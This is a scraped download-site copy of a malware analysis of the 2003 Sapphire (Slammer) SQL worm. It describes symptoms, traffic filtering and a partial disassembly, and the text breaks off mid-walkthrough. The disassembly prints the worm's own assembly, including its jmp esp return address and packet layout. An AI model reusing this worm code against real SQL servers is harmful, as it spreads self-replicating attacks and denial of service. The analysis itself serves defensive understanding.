⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 sqlworm.html

📁 SLAMMER芑愿戢盂&#30721
💻 HTML
📖 第 1 页 / 共 2 页
字号:
<!-- resource has been modified by proxy -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Analysis of Sapphire SQL Worm</TITLE>
</HEAD>
<BODY BGCOLOR="White" TEXT="Black">
<H1>Analysis of Sapphire SQL Worm</H1>
<H2>Background</H2>
On Friday, January 24, 2003, eEye Digital Security was alerted to a sudden increase in the number of SQL resolution service scans.  The scans appeared to be aggressively targeting a buffer overrun in the SQL resolution service that existed in SQL Server 2000 prior to Service Pack 3 and MSDE 2000.  eEye has dis-assembled the worm, and I provide a more detailed analysis.  The fast spreading worm quickly infected systems on the internet and took many small networks completely offline with its scanning activity.  Many Internet Service Providers' traffic levels surged as the worm scanned for new targets.
<H2>Brief Analysis</H2>
When an SQL server is infected by this worm, the worm immediately sets up a stack frame with information that it needs for propogation.  It locates the <CODE>GetTickCount</CODE> API as well as several other WinSock APIs.  It does not search for the <CODE>LoadLibraryA</CODE> and <CODE>GetProcAddress</CODE> APIs, and instead locates them by searching the IAT of <CODE>sqlsort.dll</CODE>.<BR><BR>
The system timer of the infected system is used as the seed for address generation.  All addresses generated are predictably based upon this value.  Each system receives a single UDP packet that triggers the buffer overflow, spreading the worm to that system.  It is likely that the increase in network activity caused by the worm will lead to performance issues.  Worm-generated traffic is easily identified by 371-410 byte UDP packets travelling to port 1434.  Microsoft had previously released a patch for this vulnerability available from <A HREF="https://202.213.79.2:9/cgi-bin/nph-proxy.cgi/010100A/http/www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp">http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp</A>
<H2>Symptoms</H2>
<H3>Infected Systems</H3>
<H4>Outbound traffic to external addresses on UDP Port 1434</H4>
The scanning method Sapphire uses causes a significant amount of data to be transmitted, all of it aimed at UDP port 1434.  This traffic will be seen in packet captures monitoring the affected ports.  Contrary to some reports, port 1433 is not scanned by this worm.
<H4>Large amount of ICMP Port/Host Unreachable messages aimed at server systems</H4>
The worm uses a large number of UDP packets to achieve widespread infection.  If the worm aims packets at a non-existant address (or an address that has not opened port 1434), an ICMP Unreachable message may be returned by the router that detected the error.
<H4>SQL resolution service failure</H4>
Worm infection may cause the resolution service to fail, disabling access to SQL services.  This effect occurs until the SQL server is restarted.
<H4>Performance Degredation</H4>
Due to the scanning for other systems, and the resultant bandwidth consumption due to outbound UDP packets (or inbound ICMP error messages as outlined above), connection speeds to other services may drop drastically.  Because the worm does not have the facilities to prevent re-infection, systems may have several copies of the worm running simultaneously.
<H3>Scanning</H3>
The scanning method of the worm produces a large number of packets aimed at UDP 1434.  If several systems scan the same host or network, this may result in loss of connections, declines in speed, etc.  The impact of the large amount of scanning is to cause a denial of service to the scanned hosts.
<H2>Best Practices</H2>
The following best practices should prevent infection and mitigate impacts to systems being scanned.
<H3>Filtering Traffic</H3>
Traffic filters can reduce the strain on individual systems, and prevent possibly infected systems from compromising others on the internet or your internal network.
<H4>Inbound Traffic</H4>
<H5>Database Servers</H5>
SQL services should not be accessible to systems on the internet.  Limiting SQL services to the internal network prevents infected systems on the internet from compromising your internal servers.
<H5>Other Users</H5>
Other users may choose to block traffic to ports 1433 and 1434 at the border router or at the ISP level, if the ISP chooses to allow such requests.
<H4>Outbound Traffic</H4>
Database servers ordinarily have no need to contact other servers outside of your internal network.  As such, you may choose to block the database server system from communicating with other systems on ports 1433 and 1434.
<H2>Disassembly/Analysis</H2>
<H3>Initialization</H3>
When the vulnerable system receives this packet, the buffer overrun occurs, and the return address is overwritten.  On return, the worm hits a <CODE>jmp esp</CODE> in <CODE>sqlsort.dll</CODE> which leads into its payload.  It wastes no time, immediately beginning packet construction.  The packet it uses will have the following form:

<PRE>[Garbage][EIP][Worm]</PRE>

The worm then saves the EIP to the stack (the worm body is already here):

<PRE>                push    42B0C9DCh	; [EBP-4] Sqlsort.dll: jmp esp</PRE>

After this instruction, the stack appears as:

<PRE>[Worm][EIP]</PRE>

The worm then saves a large amount of garbage data to the stack:

<PRE>                mov     eax, 1010101h
                xor     ecx, ecx
                mov     cl, 18h
FIXUP:
                push    eax		; [EBP-8 to EBP-60h]
                loop    FIXUP
                xor     eax, 5010101h
                push    eax		; [EBP-64h]</PRE>

The stack now appears as:

<PRE>[Worm][EIP][Garbage]</PRE>

Since x86 stacks grow downward, the top of the stack is really the end of the memory region.  Later, when the worm calls <CODE>sendto</CODE>, the API reads the stack memory 'backwards', and reconstructs the packet again:

<PRE>[Garbage][EIP][Worm]</PRE>

Perhaps this is better demonstrated by an example:

<PRE>Sapphire Worm Stack Map

[Worm Body]
42 B0 C9 DC 01 01 01 01 			[EBP+58h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+50h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+40h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+30h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+20h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+10h]
01 01 01 01 01 01 01 01 01 01 01 01 04 00 00 00 [EBP-0]
00 00 00 00 6C 6C 64 2E 32 33 6C 65 6E 72 65 6B [EBP-10h]	; 'kernel32.dll'
00 00 00 00 74 6E 75 6F 43 6B 63 69 54 74 65 47 [EBP-20h]	; 'GetTickCount'
00 00 6C 6C 64 2E 32 33 5F 32 73 77		[EBP-2Ch]	; 'ws2_32.dll'
00 00 74 65 6B 63 6F 73				[EBP-34h]	; 'socket'
00 00 6F 74 64 6E 65 73				[EBP-3Ch]	; 'sendto'
[Base address of ws2_32.dll]			[EBP-40h]	;
00 00 00 00 00 00 00 00				[EBP-48h]	; sin_zero
[Pseudo-Random seed]				[EBP-4Ch]	; sin_addr.s_addr
9A 05 00 02					[EBP-50h]	; sin_port, sin_family
[UDP socket descriptor]				[EBP-54h]</PRE>

The stack is then 'normalized' (<CODE>EBP=ESP</CODE>) for the exploit to continue:

<PRE>                mov     ebp, esp	; EBP=ESP</PRE>

The worm begins to setup a stack frame that stores several pieces of data, namely the following strings:

<UL>
<LI><I>kernel32.dll</I>
<PRE>                push    ecx			; [EBP-4]            
                push    6C6C642Eh		; [EBP-8]
                push    32336C65h		; [EBP-0Ch]
                push    6E72656Bh		; [EBP-10h]</PRE></LI>
<LI><I>GetTickCount</I>
<PRE>                push    ecx			; [EBP-14h]
                push    746E756Fh		; [EBP-18h]
                push    436B6369h		; [EBP-1Ch]
                push    54746547h		; [EBP-20h]</PRE></LI>
<LI><I>ws2_32.dll</I>
<PRE>                mov     cx, 6C6Ch
                push    ecx			; [EBP-24h]
                push    642E3233h		; [EBP-28h]
                push    5F327377h		; [EBP-2Ch]</PRE></LI>
<LI><I>socket</I>
<PRE>                mov     cx, 7465h
                push    ecx			; [EBP-30h]
                push    6B636F73h		; [EBP-34h]</PRE></LI>
<LI><I>sendto</I>
<PRE>                mov     cx, 6F74h
                push    ecx			; [EBP-38h]
                push    646E6573h		; [EBP-3Ch]</PRE></LI>
</UL>

The worm begins to locate needed procedures.  It begins by locating <CODE>LoadLibraryA</CODE> from the Import Address Table (IAT) of the <CODE>sqlsort.dll</CODE> library:

<PRE>                mov     esi, 42AE1018h</PRE>

The worm loads the <CODE>ws2_32.dll</CODE> library and saves the resulting handle to its stack frame for later use.  It loads a string pointer into <CODE>EAX</CODE>, and uses it to the call to <CODE>LoadLibraryA</CODE>, which is represented indirectly via the <CODE>ESI</CODE> register:

<PRE>                lea     eax, [ebp-2Ch]
                push    eax			; [EBP-40h]
                call    dword ptr [esi]		; Procedure exit: ESP=EBP-3Ch
                push    eax			; [EBP-40h]</PRE>

The worm then pushes a string pointer ('<CODE>GetTickCount</CODE>') from its stack frame onto the top of the stack for later use:

<PRE>                lea     eax, [ebp-20h]
                push    eax			; [EBP-44h]</PRE>

The worm then obtains a handle to the <CODE>kernel32.dll</CODE> library via the <CODE>LoadLibraryA</CODE> function referenced in <CODE>ESI</CODE>.  This is done in a similar fashion to the above loading of <CODE>ws2_32.dll</CODE>:

<PRE>                lea     eax, [ebp-10h]
                push    eax			; [EBP-48h]
                call    dword ptr [esi]		; Procedure exit: ESP=EBP-44h
                push    eax			; [EBP-48h]</PRE>

The worm then attempts to locate the entry for <CODE>GetProcAddress</CODE> from the same IAT it used to find <CODE>LoadLibraryA</CODE> earlier (<CODE>sqlsort.dll</CODE>):

<PRE>                mov     esi, 42AE1010h
                mov     ebx, [esi]
                mov     eax, [ebx]</PRE>

The worm then attempts to 'fingerprint' the <CODE>GetProcAddress</CODE> API, and will fall back to the other known base address if this fails.  I believe this check is to compensate for slight discrepencies between SQL Server Service Packs 1 and 2 and the original release of SQL Server 2000.  They used IAT addresses that varied slightly, and this meant two different checks:

<PRE>                cmp     eax, 51EC8B55h
                jz      short VALID_GP  
                mov     esi, 42AE101Ch</PRE>

The worm then immediately calls <CODE>GetProcAddress</CODE>.  The API receives its two parameters from the top of the stack.  This destroys the <CODE>kernel32.dll</CODE> handle that the worm obtained previously:

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -